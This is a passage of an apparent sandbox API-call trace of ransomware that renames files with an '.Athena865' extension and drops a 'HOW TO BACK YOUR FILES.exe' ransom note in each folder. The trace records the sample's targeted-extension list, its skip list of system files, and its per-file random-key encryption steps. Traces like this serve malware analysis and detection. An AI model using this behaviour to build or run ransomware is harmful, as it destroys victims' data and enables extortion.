(lpString="accft") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accft") returned 1 [0153.180] lstrlenW (lpString="adb") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.180] lstrlenW (lpString="adb") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.180] lstrlenW (lpString="ade") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="ade") returned 1 [0153.180] lstrlenW (lpString="adf") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="adf") returned 1 [0153.180] lstrlenW (lpString="adn") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="adn") returned 1 [0153.180] lstrlenW (lpString="adp") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="adp") returned 1 [0153.180] lstrlenW (lpString="alf") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="alf") returned 1 [0153.180] lstrlenW (lpString="ask") returned 3 [0153.180] lstrcmpiW (lpString1="gpd", lpString2="ask") returned 1 [0153.181] lstrlenW (lpString="btr") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="btr") returned 1 [0153.181] lstrlenW (lpString="cat") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="cat") returned 1 [0153.181] lstrlenW (lpString="cdb") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="cdb") returned 1 [0153.181] lstrlenW (lpString="ckp") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="ckp") returned 1 [0153.181] lstrlenW (lpString="cma") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="cma") returned 1 [0153.181] lstrlenW (lpString="cpd") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="cpd") returned 1 [0153.181] lstrlenW (lpString="dacpac") returned 6 [0153.181] lstrcmpiW (lpString1="es.gpd", lpString2="dacpac") returned 1 [0153.181] lstrlenW (lpString="dad") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="dad") returned 1 [0153.181] lstrlenW (lpString="dadiagrams") returned 10 [0153.181] lstrcmpiW (lpString1="eNames.gpd", lpString2="dadiagrams") returned 1 [0153.181] lstrlenW (lpString="daschema") returned 8 [0153.181] lstrcmpiW (lpString1="ames.gpd", lpString2="daschema") returned -1 [0153.181] lstrlenW (lpString="db-journal") returned 10 [0153.181] lstrcmpiW (lpString1="eNames.gpd", lpString2="db-journal") returned 1 [0153.181] lstrlenW (lpString="db-shm") returned 6 [0153.181] lstrcmpiW (lpString1="es.gpd", lpString2="db-shm") returned 1 [0153.181] lstrlenW (lpString="db-wal") returned 6 [0153.181] lstrcmpiW (lpString1="es.gpd", lpString2="db-wal") returned 1 [0153.181] lstrlenW (lpString="dbc") returned 3 [0153.181] lstrcmpiW (lpString1="gpd", lpString2="dbc") returned 1 [0153.181] lstrlenW (lpString="dbs") returned 3 [0153.182] lstrcmpiW (lpString1="gpd", lpString2="dbs") returned 1 [0153.182] lstrlenW (lpString="dbt") returned 3 [0153.182] lstrcmpiW (lpString1="gpd", lpString2="dbt") returned 1 [0153.182] lstrlenW (lpString="dbv") returned 3 [0153.182] lstrcmpiW (lpString1="gpd", lpString2="dbv") returned 1 [0153.182] lstrlenW (lpString="dbx") returned 3 [0153.182] lstrcmpiW (lpString1="gpd", lpString2="dbx") returned 1 [0153.182] lstrlenW (lpString="dcb") returned 3 [0153.182] lstrcmpiW (lpString1="gpd", lpString2="dcb") returned 1 [0153.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd.Athena865") returned 83 [0153.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd.athena865"), dwFlags=0x1) returned 1 [0153.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.185] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7330) returned 1 [0153.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.186] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.186] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.186] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb0, lpName=0x0) returned 0x154 [0153.188] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb0) returned 0x100000 [0153.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.189] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.190] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.190] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.191] CloseHandle (hObject=0x154) returned 1 [0153.191] CloseHandle (hObject=0x17c) returned 1 [0153.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.191] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="..") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="windows") returned -1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="bootmgr") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="temp") returned -1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="pagefile.sys") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="boot") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="ids.txt") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="ntuser.dat") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="perflogs") returned 1 [0153.191] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2="MSBuild") returned 1 [0153.192] lstrlenW (lpString="SendToOneNoteUI.dll") returned 19 [0153.192] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNoteUI.dll" | out: lpString1="SendToOneNoteUI.dll") returned="SendToOneNoteUI.dll" [0153.192] lstrlenW (lpString="SendToOneNoteUI.dll") returned 19 [0153.192] lstrlenW (lpString="Athena865") returned 9 [0153.192] lstrcmpiW (lpString1="oteUI.dll", lpString2="Athena865") returned 1 [0153.192] lstrlenW (lpString=".dll") returned 4 [0153.192] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".dll") returned 1 [0153.192] lstrlenW (lpString=".lnk") returned 4 [0153.192] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".lnk") returned 1 [0153.192] lstrlenW (lpString=".ini") returned 4 [0153.192] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".ini") returned 1 [0153.192] lstrlenW (lpString=".sys") returned 4 [0153.192] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".sys") returned 1 [0153.192] lstrlenW (lpString="SendToOneNoteUI.dll") returned 19 [0153.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteUI.dll.Athena865") returned 80 [0153.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenoteui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteUI.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenoteui.dll.athena865"), dwFlags=0x1) returned 1 [0153.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteUI.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenoteui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.194] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=60288) returned 1 [0153.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.194] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.195] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.195] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.195] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee80, lpName=0x0) returned 0x154 [0153.197] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee80) returned 0x100000 [0153.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.201] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.201] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.202] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.202] CloseHandle (hObject=0x154) returned 1 [0153.202] CloseHandle (hObject=0x17c) returned 1 [0153.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.203] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 0 [0153.203] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0153.203] ReleaseMutex (hMutex=0xec) returned 1 [0153.203] CloseHandle (hObject=0xec) returned 1 [0153.203] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0153.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b708 | out: hHeap=0x4f0000) returned 1 [0153.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned 62 [0153.203] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\971BFE799434F47D081CD1541559C882") returned 0xec [0153.203] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0153.203] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0153.203] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0153.203] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to back your files.exe"), bFailIfExists=1) returned 0 [0153.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0153.205] GetLastError () returned 0x0 [0153.205] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0153.207] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0153.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd91000e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd91000e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0153.208] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.208] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.208] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0153.208] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd91000e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd91000e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.209] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.209] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0153.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0153.211] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".") returned 1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="..") returned 1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="windows") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="bootmgr") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="temp") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="pagefile.sys") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="boot") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="ids.txt") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="ntuser.dat") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="perflogs") returned -1 [0153.211] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2="MSBuild") returned -1 [0153.211] lstrlenW (lpString="AMERITECH.NET.XML") returned 17 [0153.211] lstrcpyW (in: lpString1=0x241e8c6, lpString2="AMERITECH.NET.XML" | out: lpString1="AMERITECH.NET.XML") returned="AMERITECH.NET.XML" [0153.211] lstrlenW (lpString="AMERITECH.NET.XML") returned 17 [0153.211] lstrlenW (lpString="Athena865") returned 9 [0153.211] lstrcmpiW (lpString1="H.NET.XML", lpString2="Athena865") returned 1 [0153.211] lstrlenW (lpString=".dll") returned 4 [0153.212] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".dll") returned 1 [0153.212] lstrlenW (lpString=".lnk") returned 4 [0153.212] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".lnk") returned 1 [0153.212] lstrlenW (lpString=".ini") returned 4 [0153.212] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".ini") returned 1 [0153.212] lstrlenW (lpString=".sys") returned 4 [0153.212] lstrcmpiW (lpString1="AMERITECH.NET.XML", lpString2=".sys") returned 1 [0153.212] lstrlenW (lpString="AMERITECH.NET.XML") returned 17 [0153.212] lstrlenW (lpString="bak") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.212] lstrlenW (lpString="ba_") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.212] lstrlenW (lpString="dbb") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.212] lstrlenW (lpString="vmdk") returned 4 [0153.212] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.212] lstrlenW (lpString="rar") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.212] lstrlenW (lpString="zip") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.212] lstrlenW (lpString="tgz") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.212] lstrlenW (lpString="vbox") returned 4 [0153.212] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.212] lstrlenW (lpString="vdi") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.212] lstrlenW (lpString="vhd") returned 3 [0153.212] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.213] lstrlenW (lpString="vhdx") returned 4 [0153.213] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.213] lstrlenW (lpString="avhd") returned 4 [0153.213] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.213] lstrlenW (lpString="db") returned 2 [0153.213] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.213] lstrlenW (lpString="db2") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.213] lstrlenW (lpString="db3") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.213] lstrlenW (lpString="dbf") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.213] lstrlenW (lpString="mdf") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.213] lstrlenW (lpString="mdb") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.213] lstrlenW (lpString="sql") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.213] lstrlenW (lpString="sqlite") returned 6 [0153.213] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1 [0153.213] lstrlenW (lpString="sqlite3") returned 7 [0153.213] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1 [0153.213] lstrlenW (lpString="sqlitedb") returned 8 [0153.213] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1 [0153.213] lstrlenW (lpString="xml") returned 3 [0153.213] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.213] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Athena865") returned 90 [0153.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.athena865"), dwFlags=0x1) returned 1 [0153.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.215] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=816) returned 1 [0153.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.216] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.216] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.216] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.217] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x154 [0153.218] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0153.219] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.220] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.220] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) 